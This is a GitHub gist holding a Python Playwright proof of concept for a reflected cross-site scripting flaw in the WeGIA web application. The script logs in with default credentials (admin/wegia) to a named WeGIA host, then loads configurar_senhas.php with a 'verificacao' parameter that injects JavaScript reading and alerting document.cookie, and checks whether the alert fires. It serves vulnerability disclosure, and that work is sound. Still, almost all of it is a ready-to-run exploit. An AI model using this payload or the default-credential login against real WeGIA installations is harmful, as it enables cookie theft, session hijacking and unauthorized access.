Skip to content

Instantly share code, notes, and snippets.

@marcostolosa
Last active December 29, 2025 14:46
Show Gist options
  • Select an option

  • Save marcostolosa/a6301d52f659fd3f7956f872bb981857 to your computer and use it in GitHub Desktop.

Select an option

Save marcostolosa/a6301d52f659fd3f7956f872bb981857 to your computer and use it in GitHub Desktop.
PoC WeGIA - Cross-Site Scripting (XSS) Reflected
from playwright.sync_api import sync_playwright, TimeoutError as PlaywrightTimeoutError
captured_alert_text = None
def handle_dialog(dialog):
global captured_alert_text
captured_alert_text = dialog.message
print(f"ALERTA CAPTURADO: {dialog.message}")
with sync_playwright() as p:
browser = p.chromium.launch(headless=False)
context = browser.new_context(ignore_https_errors=True)
page = context.new_page()
print("Acessando página de login...")
page.goto("https://sec.wegia.org:8000/WeGIA/")
page.fill("input[name='cpf']", "admin")
page.fill("input[name='pwd']", "wegia")
page.click("input[value='Entrar']")
try:
print("Aguardando confirmação de login (ex: link de 'Sair')...")
page.get_by_text("Sair da sessão")
print("Login confirmado!")
except PlaywrightTimeoutError:
print("ERRO: O login falhou. O seletor de confirmação não foi encontrado.")
print(f"URL atual: {page.url}")
browser.close()
exit()
page.on("dialog", handle_dialog)
print("Navegando para o endpoint vulnerável...")
target_url = "https://sec.wegia.org:8000/WeGIA/html/geral/configurar_senhas.php?verificacao=%27;console.log(document.cookie);alert(document.cookie);//%27;"
page.goto(target_url)
print("Aguardando 2 segundos para o JS executar...")
page.wait_for_timeout(2000)
if captured_alert_text:
print("-------------------------------------------------")
print(f"VULNERABILIDADE CONFIRMADA!")
print(f"Texto do Alerta: {captured_alert_text}")
print("-------------------------------------------------")
else:
print("Nenhum alerta foi disparado.")
print("Fechando o navegador.")
browser.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment